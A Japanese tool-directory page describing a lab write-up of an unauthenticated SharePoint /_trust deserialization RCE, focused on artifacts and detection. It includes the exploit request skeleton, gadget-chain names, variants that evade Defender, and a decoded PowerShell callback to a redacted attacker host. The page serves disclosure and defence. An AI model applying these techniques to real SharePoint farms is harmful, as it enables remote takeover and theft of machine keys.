Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
sharepoint-2026-poc — SharePoint /_trust WS-Federation BinaryFormatter逆シリアル化チェーンのPoC、IOC、および検出ロジック。認証なしのRCE、プロセス内マシンキー窃取、および各バリアントが残すアーティファクトをカバーするラボ再構築。SharePoint 2016、2019、およびSubscription Edition。CVE-2026-50522、CVE-2026-45659、CVE-2026-56164、CVE-2026-58644。 | Kitploit
ツール/GitHubGitHub/wismansec/sharepoint-2026-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用デジタルフォレンジック論文と研究学習と教育インシデントレスポンスペイロード開発
GitHub
wismansec/sharepoint-2026-poc

sharepoint-2026-poc

SharePoint /_trust WS-Federation BinaryFormatter逆シリアル化チェーンのPoC、IOC、および検出ロジック。認証なしのRCE、プロセス内マシンキー窃取、および各バリアントが残すアーティファクトをカバーするラボ再構築。SharePoint 2016、2019、およびSubscription Edition。CVE-2026-50522、CVE-2026-45659、CVE-2026-56164、CVE-2026-58644。

リポジトリを見るウェブサイト
2111ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SharePoint /_trust WS-Federation 逆シリアル化: PoC & 検知ノート

ライブレポート (GitHub Pages): https://sp-poc.wismansec.com/ (本ドキュメントのHTMLレンダリング)

影響を受ける製品: SharePoint Server 2016、2019、および Subscription Edition

隔離されたラボで SharePoint Server (Subscription Edition) への侵入を再現しました。目的は、(a) 攻撃者の完全な能力を理解すること、(b) ステルス的な永続化を含め、防御側が何を探すべきかを特定すること、(c) 他の調査者を支援する PoC を共有することです。

許可された研究に限ります。 ここで行われたすべての操作は、テスト用に意図的にパッチ未適用のままにされたビルドに対して、隔離された個人所有のラボハードウェアとアカウントで実行されました。根本的な問題はベンダーによって修正済みです。最新の更新プログラムを適用してください。自分が所有しておらず、テストの明示的な許可を得ていないシステムに対して実行しないでください。マシンキー値、内部ホスト名/IP、コールバックドメインは、本文およびサンプルアーティファクト内で伏せ字にしています。SIEM のスクリーンショットは未修正であり、ラボの実際の名前が含まれています。§4 の注記を参照してください。

  • 作成者: WismanSec
  • 修正: 2026年7月の更新プログラム (KB5002882)
  • 関連 CVE (このクラスター、CISA KEV 掲載): CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644
  • 脆弱性クラス: /_trust SecurityContextToken BinaryFormatter 逆シリアル化ファミリー

対応者向け TL;DR

  • 悪意のある SecurityContextToken を含む単一の認証不要 POST /_trust/default.aspx (WS-Federation サインイン) により、SharePoint ワーカー (w3wp.exe) で BinaryFormatter の逆シリアル化がトリガーされ、Web アプリケーションプール ID としてリモートコード実行 (RCE) が可能になります。
  • 同じプリミティブを使用して、ファームのマシンキー (ValidationKey/DecryptionKey) を完全にプロセス内でダンプできます。デフォルト構成のファームでは、子プロセスも、AV アラートも、ビーコンも発生しません (/_trust の AMSI リクエストボディスキャンを有効にすると検知・ブロックされます。§5 参照)。これらのキーを使用すると、攻撃者はパッチ適用後も有効な __VIEWSTATE/認証トークンを偽造できます。
  • パッチ適用だけでは不十分です。 攻撃を受けた可能性のあるファームではマシンキーをローテーションし、すべての亜種に存在する唯一のアーティファクトである /_trust リクエストシグネチャをハンティングしてください。

1. 脆弱性

SharePoint は /_trust/default.aspx に WS-Federation パッシブサインインエンドポイントを公開しています。細工されたサインインレスポンス (wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>) には SecurityContextToken が埋め込まれ、その <Cookie> 要素は base64 で DEFLATE 圧縮された BinaryFormatter ストリームです。サーバー側では、その Cookie が展開され、型制限なしで逆シリアル化されるため、ガジェットチェーン (ysoserial.net 経由) によって w3wp.exe 内部で攻撃者が制御するコードが実行されます。

リクエストのスケルトン (認証不要):

POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded

wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
  <SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...

2. 単一のプリミティブから生じる 2 つのチェーン

チェーンガジェット影響出力チャネル
OOB RCETypeConfuseDelegate → -EncodedCommand PowerShellプール ID としてのコード実行帯域外 (HTTP/DNS ビーコン)
マシンキー開示ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile (KeyDump.cs をプロセス内でコンパイル)ValidationKey/DecryptionKey をダンプHTTP レスポンス内にインライン

scripts/ にある (サニタイズ済みの) スクリプト: パラメータ化された OOB RCE と 2 段階のキーダンプ。ペイロードの配信には PowerShell の -EncodedCommand を使用しているため、複数ステートメントのペイロードが cmd.exe/転送レイヤーをそのまま通過します (;/&& のクォーティング破損なし)。

3. ラボ

単一の SharePoint SE ファーム (修正前のビルドに固定)、アプリプール ID LAB\sp_pool、PowerShell 5.1、クラウド保護を有効にした Microsoft Defender。テレメトリ (Windows イベントログ、SharePoint ログ、Defender for Endpoint) は、軽量なオープンソース SIEM である nano に送信しました。攻撃者ホストは ysoserial.net を実行し、interactsh クライアントが OOB リスナーを提供しました。アドレスとドメインは本文中で伏せ字にしています。§4 のスクリーンショット注記を参照してください。

4. 結果: 実行方法 → アーティファクトマトリクス

各行は実際の 1 回の実行 (デトネーション) です。アーティファクトは実行ごとに SIEM + OOB リスナーから取得しました。

スクリーンショットは未修正です。 ラボの実際のホスト名と NetBIOS 名が含まれており、これらは簡素で、本文全体で使用しているサニタイズ済みの SHAREPOINT01 / LAB とは異なります。同じ実行、同じイベントであり、演出されたものは一切ありません。業務上安全な相当物は artifacts/ にあります。

実行方法プロセスツリー (LAB\sp_pool として、High)DefenderOOB ビーコン主要アーティファクト
OOB RCE、デフォルトw3wp.exe → cmd.exe → powershell.exe → conhost.exeBehavior:Win32/WebshellLauncher.A (EID 1116 detect / 1117 Remove)着弾 (競争状態)4688 ツリー; Defender 1116/1117; /_trust POST
OOB RCE、-RawCmdw3wp.exe → powershell.exe → conhost.exe (cmd なし)なし着弾 (DNS+HTTP)4688 ツリー; /_trust POST; ビーコン
OOB RCE、-DropFilew3wp.exe → powershell.exeなし着弾…\TEMPLATE\LAYOUTS\ へのファイル書き込み (オブジェクトアクセス監査ログには記録されない)
OOB RCE、-Diagw3wp.exe → powershell.exe → whoami.exeなし着弾環境情報開示の外部送信: {host, whoami, PSver, LanguageMode}
マシンキーダンプ(なし、プロセス内)なし(なし)/_trust POST と、キーを含む異常なレスポンスのみ

これらの結果は、デフォルトの AMSI 構成 (Balanced モード、/_trust はスキャン対象外) におけるものです。/_trust の AMSI リクエストボディスキャンを有効にすると (Full モードまたはターゲット指定)、各行は代わりにリクエストレイヤーでブロックされます。実行前に HTTP 400、Exploit:Script/SpCookieExec.A を返します (§5 参照)。

すべての RCE 実行を 1 つのクエリで

w3wp.exe によって生成された4つのプロセス。うち3つは cmd.exe を介さない powershell.exe

文書化された 4 回の実行すべて (15:01〜15:18 UTC) で、w3wp.exe のすべての子プロセスがプール ID として実行されています。4 件のうち 3 件は powershell.exe が直接生成されています。cmd.exe を経由したのは 15:03:34 の実行だけで、検知されたのもその実行だけでした。ウィンドウをこれより広げると、同日朝の以前の開発イテレーションも結果セットに含まれるため、この主張はこれら 4 回の実行に限定されます。

同じエクスプロイト、2 つのプロセスツリー

w3wp.exe から cmd.exe、powershell.exe、conhost.exe へ

デフォルトの実行方法: w3wp.exe → cmd.exe → powershell.exe で、conhost.exe が並行して起動します。これが Behavior:Win32/WebshellLauncher.A が検知の鍵とするプロセス形状です。

cmd.exe なしの w3wp.exe から powershell.exe、conhost.exe へ

-RawCmd 実行方法。同じプリミティブ、同じペイロードで、cmd.exe ホップを除去したものです。この実行では Defender は何も検知しませんでした。w3wp → cmd に基づく検知ではこれを完全に見逃します。

発動した検知と、見逃した 3 回の実行

3つの Defender イベント。すべて Behavior:Win32/WebshellLauncher.A、重大度 Severe、アクション Remove

4 回の実行を含む同じ 25 分間のウィンドウ内のすべての Defender イベントです。3 件すべてが単一の cmd.exe 実行に属しています。Severe の malware_detected が 2 件、その後アクション Remove の malware_action_taken が 1 件です。修復はビーコンに間に合わず、ビーコンが先に完了しました。

Security 4688 からそのまま復元された重要なコマンドライン (エンコーディングは回避策ではありません):

"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
   → decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

Security 4688 イベント。-EncodedCommand がハイライトされ、base64 ペイロードが見える

SIEM に表示されるエンコード済みコマンドラインです。これは UTF-16LE の base64 に過ぎません。base64 -d | iconv -f utf-16le -t utf-8 でコールバックを 1 ステップで復元できます。エンコーディングは難読化ではありません。

キーダンプは痕跡を残さない

以下の 2 つのフレームは、ファームのマシンキーが盗まれた同じ 90 秒間のウィンドウを対象としています。

キーダンプのウィンドウ内の20件のイベント。テレメトリが正常に流れていることを示す

フィルタなしでは、ウィンドウには 20 件のイベントがあります。ホストは稼働しており、テレメトリを送信しています。

w3wp.exe の子プロセスにフィルタした同じウィンドウ。結果なし

w3wp.exe の子プロセスにフィルタすると、同じウィンドウは空です。プロセスも、Defender イベントも、ビーコンもありません。キーは HTTP レスポンスで持ち出され、ホスト側の唯一のアーティファクトは /_trust リクエスト自体であり、この SIEM はそれを収集していませんでした。パッチ適用では盗まれたキーは失効しません。ローテーションしてください。

OOB リスナーで取得された -Diag による情報開示 (URL デコード済み):

{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }

5. 検知とハンティング

すべての亜種に存在する唯一のシグネチャ。 まずこれをハンティングしてください:

  • IIS / SharePoint ログ: ボディに wa=wsignin1.0 と、RequestSecurityTokenResponse + SecurityContextToken/<Cookie> を含む wresult を持つ POST /_trust/default.aspx。認証不要で、多くの場合異常な User-Agent。レスポンスステータスのベースライン: このエンドポイントへの正規の WS-Federation サインイントラフィックは主に HTTP 302 です。エクスプロイトは他のステータス (200、500、接続リセット、AMSI がブロックした場合は 400) を返します。このエンドポイントに実際のサインイン量がある場合は、POST /_trust/default.aspx への非 302 レスポンスを異常として扱ってください。ステータスだけではエクスプロイトの成功を確認できません。成功した実行では 200 とリセットの両方が返されました。

プロセスベース (RCE 亜種のみ):

ツールをダウンロード